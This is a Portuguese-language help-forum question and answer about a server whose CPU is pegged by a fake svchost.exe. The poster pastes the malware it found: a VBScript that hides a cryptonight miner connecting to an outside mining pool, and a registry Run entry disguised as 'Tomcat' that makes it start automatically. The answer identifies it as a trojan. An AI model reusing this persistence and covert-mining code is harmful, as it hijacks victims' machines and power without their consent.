Host SVC consumindo 99% da CPU

Question

Nosso servidor está constantemente consumindo muita CPU, com svchost.exe parece ser o culpado.

Veja o screenhow abaixo:

Conteúdodoarquivode1.bat:

svchost-acryptonight-ostratum+tcp://xmr.prohash.net:7777-u4AyP2DqMQ---SomeLongCodeHere---ZFnqXUrf-px

Conteúdodoarquivodepubwin.reg:

WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Tomcat"="C:\Windows\system\pubwin.vbs"

Conteúdo do arquivo de pubwin.vbs :

dim objShell
set objShell=wscript.createObject("WScript.Shell")
WScript.Sleep(20000)
iReturnCode=objShell.Run("""C:\Windows\system\svchost.exe""  -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2Dq----SomeLongCodeHere---zdLZGeEQqZTZeBLuSNnqXUrf -p x",vbhide)

Devemos estar preocupados, ou é realmente **Tomcat** .

    

Answer 1

É um vírus / trojan:

link

link

link

link

Muitas variantes dele, é basicamente um daemon de mineração de bitcoin rebadged para se parecer com parte do sistema.